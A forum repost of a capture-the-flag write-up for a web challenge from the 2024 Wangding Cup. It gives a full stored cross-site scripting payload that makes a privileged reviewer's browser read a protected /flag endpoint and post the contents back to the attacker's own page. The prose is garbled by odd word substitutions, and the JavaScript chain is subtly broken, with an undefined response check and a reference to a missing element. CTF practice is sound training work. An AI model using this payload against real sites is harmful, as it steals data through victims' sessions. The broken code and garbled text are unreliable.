飞不高 发表于 2024-11-28 19:00:47

2024网鼎杯青龙组初赛 web2


[*]进入靶机之后是一个登录页面。随便登录就能进入
即使使用雷同的账号密码,每次登录进去得到的接口也不一样

[*]目录扫描可以发现存在一个/flag接口。但是需要boss身份才气读取到内容
[*]登录进去后的页面有更新计划功能,允许我们将js代码插入当前页面中
[*]同时将页面提交给boss的时候。boss会检察我们的内容
思绪分析:
插入js代码,使js代码具有
自动读取/flag接口的内容 ==> 同时将读取到的内容利用我们自己的更新计划功能提交一遍的功能然后提交。
payload:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Content Display</title>
</head>
<body>
<div id="flag-content">Loading...</div>

<script>
    fetch('/flag')
      .then(response => {
      if (!response.ok) {
          throw new Error('Network response was not ok');
      }
      return response.text(); // 获取响应文本
      })
      .then(data => {
      document.getElementById('flag-content').innerText = data;
      fetch('/content/917420be0d2e454937b1001cfad79b29', {
          method: 'POST',
          headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
          },
          body: new URLSearchParams({ content: data })
      })
      .then(response => {
          if (!response.ok) {
            throw new Error('Network response was not ok');
          }
          return response.text();
      })
      .then(data => {
          document.getElementById('response').innerText = data;
      })
      .catch(error => {
          console.error('Error sending POST request:', error);
          document.getElementById('response').innerText = 'Error sending request.';
      });
      })
      .then(response => {
      if (!response.ok) {
          throw new Error('Network response was not ok for POST');
      }
      return response.text();
      })
      .then(postResponse => {
      console.log('POST response:', postResponse);
      })
      .catch(error => {
      console.error('Error:', error);
      document.getElementById('flag-content').innerText = 'Error loading content';
      });
</script>
</body>
</html>
/content/917420be0d2e454937b1001cfad79b29内容与自己获取到的保持一致
在数据包里面插入js代码

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: 2024网鼎杯青龙组初赛 web2